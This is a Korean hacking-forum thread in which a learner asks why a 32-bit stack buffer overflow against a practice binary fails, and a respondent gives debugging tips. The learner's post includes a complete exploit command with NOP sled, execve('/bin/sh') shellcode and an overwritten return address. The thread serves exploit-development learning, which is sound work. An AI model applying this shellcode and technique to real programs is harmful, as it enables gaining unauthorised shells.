시스템 해킹

 1576, 1/79 회원가입  로그인  
   vngkv123
   64비트 bof관련질문

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1836 [복사]


64비트에서 32비트컴파일한 파일에 간단한 bof를 할려는데 aslr이나 nx같은건 전혀 안걸려있어요. 버퍼에 쉘코드를 넣고 리턴주소를 버퍼시작주소로 두고 하는데 전혀 먹히질않네요 ㅠ

궁금한게 이럴 때 32비트쉘코드를 쓰니요 64비트를 쓰나요. 그리고 스택첫주소가 32비트컴파일 시 0xff로 시작하던데 \xff가 문제가되나요??

  Hit : 3914     Date : 2017/03/28 09:01



    
해쿨러 32비트 쉘코드 쓰구요 0xff로 시작하는것도 문제가 안됩니다
aslr과 nx가 모두 없는게 아닐 수 있는데
cat /proc/sys/kernel/randomize_va_space 했을 때 0이 나와야 하고
http://www.trapkit.de/tools/checksec.html
이걸로 checksec.sh --file ./binary 했을 때 NX Disabled가 나와야 합니다
2017/03/28  
vngkv123 0x0804850a <+47>: lea eax,[ebp-0x48]
0x0804850d <+50>: push eax
0x0804850e <+51>: call 0x8048380 <strcpy@plt>

이렇게 72바이트 + 4바이트 sfp + 4바이트 ret이 있는데..

0xffffd560: 0x41414141 버퍼의 시작주소가 이렇고 페1이로드를

./exploitme `python -c 'print"\x90"*27+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90"*26+"\x60\xd5\xff\xff"'` 23바이트 쉘코드를 써서 넣었는데 안되네용 ㅠ

checksec.sh이랑 aslr체크시 NX랑 메모리랜덤화는 없었어영
2017/03/28  
해쿨러 일단 또 전형적인 문제로 보이는데 exploitme를 상대경로가 아닌 절대경로로 넣고 실행해보세요
그리고 버퍼 시작주소를 gdb로 프로그램을 실행시켜서 찾지 마시고 eip를 0x41414141로 변조시켜 코어파일을 만들고 나서 확인해보세요
2017/03/29